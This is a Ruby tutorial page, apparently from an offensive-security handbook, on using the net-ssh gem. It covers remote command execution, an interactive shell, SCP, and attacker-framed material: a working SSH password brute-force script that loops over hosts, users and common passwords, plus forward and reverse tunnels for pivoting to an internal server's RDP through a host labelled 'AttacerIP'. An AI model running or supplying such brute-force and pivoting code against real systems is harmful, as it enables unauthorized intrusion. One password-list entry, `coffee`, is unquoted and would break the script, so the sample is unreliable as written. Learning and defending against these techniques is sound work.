SSH

Here we’ll show some SSH using ruby. We’ll need to install net-ssh gem for that.

  • Install net-ssh gem
    1. gem install net-ssh

Simple SSH command execution

This is a very basic SSH client which sends and executes commands on a remote system

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. require 'net/ssh'
  4. @hostname = "localhost"
  5. @username = "root"
  6. @password = "password"
  7. @cmd = ARGV[0]
  8. begin
  9. ssh = Net::SSH.start(@hostname, @username, :password => @password)
  10. res = ssh.exec!(@cmd)
  11. ssh.close
  12. puts res
  13. rescue
  14. puts "Unable to connect to #{@hostname} using #{@username}/#{@password}"
  15. end

SSH Client with PTY shell

Here a simple SSH client which give you an interactive PTY

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. require 'net/ssh'
  4. @hostname = "localhost"
  5. @username = "root"
  6. @password = "password"
  7. Net::SSH.start(@hostname, @username, :password => @password, :auth_methods => ["password"]) do |session|
  8. # Open SSH channel
  9. session.open_channel do |channel|
  10. # Requests that a pseudo-tty (or "pty") for interactive application-like (e.g vim, sudo, etc)
  11. channel.request_pty do |ch, success|
  12. raise "Error requesting pty" unless success
  13. # Request channel type shell
  14. ch.send_channel_request("shell") do |ch, success|
  15. raise "Error opening shell" unless success
  16. STDOUT.puts "[+] Getting Remote Shell\n\n" if success
  17. end
  18. end
  19. # Print STDERR of the remote host to my STDOUT
  20. channel.on_extended_data do |ch, type, data|
  21. STDOUT.puts "Error: #{data}\n"
  22. end
  23. # When data packets are received by the channel
  24. channel.on_data do |ch, data|
  25. STDOUT.print data
  26. cmd = gets
  27. channel.send_data( "#{cmd}" )
  28. trap("INT") {STDOUT.puts "Use 'exit' or 'logout' command to exit the session"}
  29. end
  30. channel.on_eof do |ch|
  31. puts "Exiting SSH Session.."
  32. end
  33. session.loop
  34. end
  35. end

SSH brute force

ssh-bf.rb

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. #
  4. require 'net/ssh'
  5. def attack_ssh(host, user, password, port=22, timeout = 5)
  6. begin
  7. Net::SSH.start(host, user, :password => password,
  8. :auth_methods => ["password"], :port => port,
  9. :paranoid => false, :non_interactive => true, :timeout => timeout ) do |session|
  10. puts "Password Found: " + "#{host} | #{user}:#{password}"
  11. end
  12. rescue Net::SSH::ConnectionTimeout
  13. puts "[!] The host '#{host}' not alive!"
  14. rescue Net::SSH::Timeout
  15. puts "[!] The host '#{host}' disconnected/timeouted unexpectedly!"
  16. rescue Errno::ECONNREFUSED
  17. puts "[!] Incorrect port #{port} for #{host}"
  18. rescue Net::SSH::AuthenticationFailed
  19. puts "Wrong Password: #{host} | #{user}:#{password}"
  20. rescue Net::SSH::Authentication::DisallowedMethod
  21. puts "[!] The host '#{host}' doesn't accept password authentication method."
  22. end
  23. end
  24. hosts = ['192.168.0.1', '192.168.0.4', '192.168.0.50']
  25. users = ['root', 'admin', 'rubyfu']
  26. passs = ['admin1234', 'P@ssw0rd', '123456', 'AdminAdmin', 'secret', coffee]
  27. hosts.each do |host|
  28. users.each do |user|
  29. passs.each do |password|
  30. attack_ssh host, user, password
  31. end end end

SSH Tunneling

Forward SSH Tunnel

  1. |--------DMZ------|---Local Farm----|
  2. | | |
  3. |Attacker| ----SSH Tunnel---> | |SSH Server| <-RDP-> |Web server| |
  4. | | |
  5. |-----------------|-----------------|

Run ssh-ftunnel.rb on the SSH Server

ssh-ftunnel.rb

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. require 'net/ssh'
  4. Net::SSH.start("127.0.0.1", 'root', :password => '123132') do |ssh|
  5. ssh.forward.local('0.0.0.0', 3333, "WebServer", 3389)
  6. puts "[+] Starting SSH forward tunnel"
  7. ssh.loop { true }
  8. end

Now connect to the SSH Server on port 3333 via your RDP client, you’ll be prompt for the WebServer‘s RDP log-in screen

  1. rdesktop WebServer:3333

Reverse SSH Tunnel

  1. |--------DMZ------|---Local Farm----|
  2. | | |
  3. |Attacker| <---SSH Tunnel---- | |SSH Server| <-RDP-> |Web server| |
  4. | | | | |
  5. `->-' |-----------------|-----------------|

Run ssh-rtunnel.rb on the SSH Server

ssh-rtunnel.rb

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. require 'net/ssh'
  4. Net::SSH.start("AttacerIP", 'attacker', :password => '123123') do |ssh|
  5. ssh.forward.remote_to(3389, 'WebServer', 3333, '0.0.0.0')
  6. puts "[+] Starting SSH reverse tunnel"
  7. ssh.loop { true }
  8. end

Now SSH from the SSH Server to localhost on the localhost’s SSH port then connect from your localhost to your localhost on port 3333 via your RDP client, you’ll be prompt for the WebServer‘s RDP log-in screen

  1. rdesktop localhost:3333

Copy files via SSH (SCP)

  • To install scp gem

    1. gem install net-scp
  • Upload file

  1. require 'net/scp'
  2. Net::SCP.upload!(
  3. "SSHServer",
  4. "root",
  5. "/rubyfu/file.txt", "/root/",
  6. #:recursive => true, # Uncomment for recursive
  7. :ssh => { :password => "123123" }
  8. )
  • Download file
  1. require 'net/scp'
  2. Net::SCP.download!(
  3. "SSHServer",
  4. "root",
  5. "/root/", "/rubyfu/file.txt",
  6. #:recursive => true, # Uncomment for recursive
  7. :ssh => { :password => "123123" }
  8. )